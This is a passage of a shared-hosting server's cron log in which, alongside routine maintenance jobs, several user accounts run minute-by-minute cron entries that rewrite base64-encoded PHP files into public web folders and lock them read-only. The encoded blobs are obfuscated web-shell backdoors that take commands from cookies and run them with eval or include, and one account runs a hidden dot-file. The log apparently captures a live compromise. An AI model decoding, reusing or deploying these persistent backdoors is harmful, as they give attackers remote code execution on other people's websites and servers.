ICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:03:01 medusa CROND[30296]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:03:01 medusa CROND[30297]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:03:01 medusa CROND[30298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:03:01 medusa CROND[30295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:03:01 medusa CROND[30299]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 04:03:01 medusa CROND[30304]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:03:01 medusa CROND[30306]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:03:01 medusa CROND[30307]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:03:01 medusa CROND[30312]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:03:01 medusa CROND[30314]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:03:01 medusa CROND[30317]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:04:01 medusa CROND[20614]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:04:01 medusa CROND[20615]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:04:01 medusa CROND[20616]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:04:01 medusa CROND[20617]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 04:04:01 medusa CROND[20618]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:04:01 medusa CROND[20623]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:04:01 medusa CROND[20626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:04:01 medusa CROND[20627]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:04:01 medusa CROND[20622]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:04:01 medusa CROND[20621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:04:01 medusa CROND[20624]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:04:01 medusa CROND[20628]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:04:01 medusa CROND[20629]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:05:01 medusa CROND[10486]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 04:05:01 medusa CROND[10504]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 04:05:01 medusa CROND[10536]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 04:05:01 medusa CROND[10540]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 04:05:01 medusa CROND[10609]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 04:05:01 medusa CROND[10610]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 04:05:01 medusa CROND[10617]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 04:05:01 medusa CROND[10616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:05:01 medusa CROND[10621]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:05:01 medusa CROND[10622]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:05:01 medusa CROND[10618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:05:01 medusa CROND[10623]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25y